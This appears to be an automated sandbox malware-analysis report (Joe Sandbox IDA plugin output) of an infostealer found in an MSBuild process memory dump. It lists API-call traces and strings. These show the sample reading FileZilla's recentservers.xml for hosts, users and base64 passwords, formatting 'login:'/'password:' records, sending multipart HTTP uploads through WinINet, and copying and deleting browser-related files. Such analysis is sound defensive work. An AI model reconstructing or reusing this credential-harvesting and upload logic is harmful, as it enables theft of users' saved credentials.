lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079B6
lstrcatA.KERNEL32(?,012673D8,?,004161C4,?), ref: 004079C9
lstrcatA.KERNEL32(?,012672D0,?,004161C4,?), ref: 004079DD
lstrcatA.KERNEL32(?,01267348,?,004161C4,?), ref: 004079F1
lstrcatA.KERNEL32(?,012673C0,?,004161C4,?), ref: 00407A04
lstrcatA.KERNEL32(?,012675C0,?,004161C4,?), ref: 00407A18
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A2C
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A40
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A54
lstrcatA.KERNEL32(?,012673D8,?,004161C4,?), ref: 00407A68
lstrcatA.KERNEL32(?,012672D0,?,004161C4,?), ref: 00407A7B
lstrcatA.KERNEL32(?,01267348,?,004161C4,?), ref: 00407A8F
lstrcatA.KERNEL32(?,012673C0,?,004161C4,?), ref: 00407AA3
lstrcatA.KERNEL32(?,01267628,?,004161C4,?), ref: 00407AB6
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ACA
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ADE
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407AF2
lstrcatA.KERNEL32(?,012673D8,?,004161C4,?), ref: 00407B06
lstrcatA.KERNEL32(?,012672D0,?,004161C4,?), ref: 00407B1A
lstrcatA.KERNEL32(?,01267348,?,004161C4,?), ref: 00407B2D
lstrcatA.KERNEL32(?,012673C0,?,004161C4,?), ref: 00407B41
lstrcatA.KERNEL32(?,01267690,?,004161C4,?), ref: 00407B55
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B69
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B7D
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B91
lstrcatA.KERNEL32(?,012673D8,?,004161C4,?), ref: 00407BA4
lstrcatA.KERNEL32(?,012672D0,?,004161C4,?), ref: 00407BB8
lstrcatA.KERNEL32(?,01267348,?,004161C4,?), ref: 00407BCC
lstrcatA.KERNEL32(?,012673C0,?,004161C4,?), ref: 00407BDF
lstrcatA.KERNEL32(?,012676F8,?,004161C4,?), ref: 00407BF3
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C07
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C1B
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C2F
lstrcatA.KERNEL32(?,012673D8,?,004161C4,?), ref: 00407C43
lstrcatA.KERNEL32(?,012672D0,?,004161C4,?), ref: 00407C56
lstrcatA.KERNEL32(?,01267348,?,004161C4,?), ref: 00407C6A
lstrcatA.KERNEL32(?,012673C0,?,004161C4,?), ref: 00407C7E

Part of subcall function 004075D0: lstrcatA.KERNEL32(33738020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
Part of subcall function 004075D0: lstrcatA.KERNEL32(33738020,00000000,00000000), ref: 00407648
Part of subcall function 004075D0: lstrcatA.KERNEL32(33738020, : ), ref: 0040765A
Part of subcall function 004075D0: lstrcatA.KERNEL32(33738020,00000000,00000000,00000000), ref: 0040768F
Part of subcall function 004075D0: lstrcatA.KERNEL32(33738020,00421804), ref: 004076A0
Part of subcall function 004075D0: lstrcatA.KERNEL32(33738020,00000000,00000000,00000000), ref: 004076D3
Part of subcall function 004075D0: lstrcatA.KERNEL32(33738020,00421808), ref: 004076ED
Part of subcall function 004075D0: task.LIBCPMTD ref: 004076FB

lstrcatA.KERNEL32(?,01266030,?,00000104), ref: 00407E0B
lstrcatA.KERNEL32(?,01266610), ref: 00407E1E
lstrlenA.KERNEL32(33738020), ref: 00407E2B
lstrlenA.KERNEL32(33738020), ref: 00407E3B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
Instruction ID: e42d55f5272c4be8e3f59257355b8fca4430f3dac2d75aeea8cbf9ff20cdab91
Opcode Fuzzy Hash: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
Instruction Fuzzy Hash: 12324EBAD50314ABD715EBE0DC85DEA737DBB45700F005A9DF209A2080EE78E7858F56

Function 00410250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

strtok_s.MSVCRT ref: 0041031B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 00410362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00410385
lstrlenA.KERNEL32(00000000), ref: 00410393

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

StrStrA.SHLWAPI(00000000,<Port>), ref: 004103CF
lstrlenA.KERNEL32(00000000), ref: 004103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00410419
lstrlenA.KERNEL32(00000000), ref: 00410427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00410463
lstrlenA.KERNEL32(00000000), ref: 00410475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 00410562
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 00410571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 00410580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410593
lstrcatA.KERNEL32(?,00421678,?,?,00000000), ref: 004105A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105B5
lstrcatA.KERNEL32(?,0042167C,?,?,00000000), ref: 004105C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 004105D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105E6
lstrcatA.KERNEL32(?,00421688,?,?,00000000), ref: 004105F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410617
lstrcatA.KERNEL32(?,00421698,?,?,00000000), ref: 00410626
lstrcatA.KERNEL32(?,0042169C,?,?,00000000), ref: 00410635
strtok_s.MSVCRT ref: 00410679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041068E
memset.MSVCRT ref: 004106DD

Strings

login: , xrefs: 004105CA
<Port>, xrefs: 004103C6
NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5
browser: FileZilla, xrefs: 00410559
profile: null, xrefs: 00410568
<Host>, xrefs: 0041037C
<Pass encoding="base64">, xrefs: 0041045A
url: , xrefs: 00410577
NA, xrefs: 0041072E, 004106AF, 004106B2
password: , xrefs: 004105FB
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
<User>, xrefs: 00410410

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-514892060
Opcode ID: 91fa73cd99cb08a8e86c39f4412a2c8f2f9dc26fe3a5757e69e2f36c05b42199
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: 91fa73cd99cb08a8e86c39f4412a2c8f2f9dc26fe3a5757e69e2f36c05b42199
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 00405100 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

lstrlenA.KERNEL32(00000000), ref: 00405193

Part of subcall function 00418EA0: CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405207
StrCmpCA.SHLWAPI(?,01266020), ref: 00405225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405340
HttpOpenRequestA.WININET(00000000,01265FE0,?,01267258,00000000,00000000,00400100,00000000), ref: 004053A4

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,01265FD0,00000000,?,01259A60,00000000,?,004219DC,00000000,?,004151CF), ref: 00405737
lstrlenA.KERNEL32(00000000), ref: 0040574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040575C
HeapAlloc.KERNEL32(00000000), ref: 00405763
lstrlenA.KERNEL32(00000000), ref: 00405778
memcpy.MSVCRT(?,00000000,00000000), ref: 0040578F
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057A9
memcpy.MSVCRT(?), ref: 004057B6
lstrlenA.KERNEL32(00000000), ref: 004057C8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057E1
memcpy.MSVCRT(?), ref: 004057F1
lstrlenA.KERNEL32(00000000,?,?), ref: 0040580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040584D
InternetCloseHandle.WININET(00000000), ref: 004058B1
InternetCloseHandle.WININET(00000000), ref: 004058BE
InternetCloseHandle.WININET(00000000), ref: 004058C8

Strings

--, xrefs: 00405280
------, xrefs: 004053B7
", xrefs: 004055C4
------, xrefs: 00405297
", xrefs: 00405482
", xrefs: 00405706
------, xrefs: 004054F9
------, xrefs: 0040563B

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2744873387-2774362122
Opcode ID: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction ID: d07ba18edd097c444f0f2b194d739d2ed1db848351cdebbd5bd0839dcb06e227
Opcode Fuzzy Hash: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction Fuzzy Hash: DA3262B1921118ABDB14FBA1DC91FEE7378BF14714F40415EF10662092DF782A9ACF69

Function 00405960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004059F8
StrCmpCA.SHLWAPI(?,01266020), ref: 00405A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405B93
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,012681E8,00000000,?,01259A60,00000000,?,00421A1C), ref: 00405E71
lstrlenA.KERNEL32(00000000), ref: 00405E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00405E93
HeapAlloc.KERNEL32(00000000), ref: 00405E9A
lstrlenA.KERNEL32(00000000), ref: 00405EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
lstrlenA.KERNEL32(00000000), ref: 00405ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405EF1
memcpy.MSVCRT(?), ref: 00405EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F4C
InternetCloseHandle.WININET(00000000), ref: 00405FB0
InternetCloseHandle.WININET(00000000), ref: 00405FBD
HttpOpenRequestA.WININET(00000000,01265FE0,?,01267258,00000000,00000000,00400100,00000000), ref: 00405BF8

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00405FC7

Strings

", xrefs: 00405E16
------, xrefs: 00405D4C
------, xrefs: 00405C0B
", xrefs: 00405CD5
------, xrefs: 00405A96

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1406981993-2180234286
Opcode ID: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 0040A790 Relevance: 40.8, APIs: 22, Strings: 1, Instructions: 538
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0040AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0040ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A8B0

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01250578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrcatA.KERNEL32(?,00000000,00000000,01265E50,00421318,01265E50,00421314), ref: 0040ACEB
lstrcatA.KERNEL32(?,00421320), ref: 0040ACFA
lstrcatA.KERNEL32(?,00000000), ref: 0040AD0D
lstrcatA.KERNEL32(?,00421324), ref: 0040AD1C
lstrcatA.KERNEL32(?,00000000), ref: 0040AD2F
lstrcatA.KERNEL32(?,00421328), ref: 0040AD3E
lstrcatA.KERNEL32(?,00000000), ref: 0040AD51
lstrcatA.KERNEL32(?,0042132C), ref: 0040AD60
lstrcatA.KERNEL32(?,00000000), ref: 0040AD73
lstrcatA.KERNEL32(?,00421330), ref: 0040AD82
lstrcatA.KERNEL32(?,00000000), ref: 0040AD95
lstrcatA.KERNEL32(?,00421334), ref: 0040ADA4
lstrcatA.KERNEL32(?,00000000), ref: 0040ADB7
lstrlenA.KERNEL32(?), ref: 0040AE0D
lstrlenA.KERNEL32(?), ref: 0040AE1C
memset.MSVCRT ref: 0040AE6B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0040ABD4

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessmemcmpmemset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4068497927-2709115261
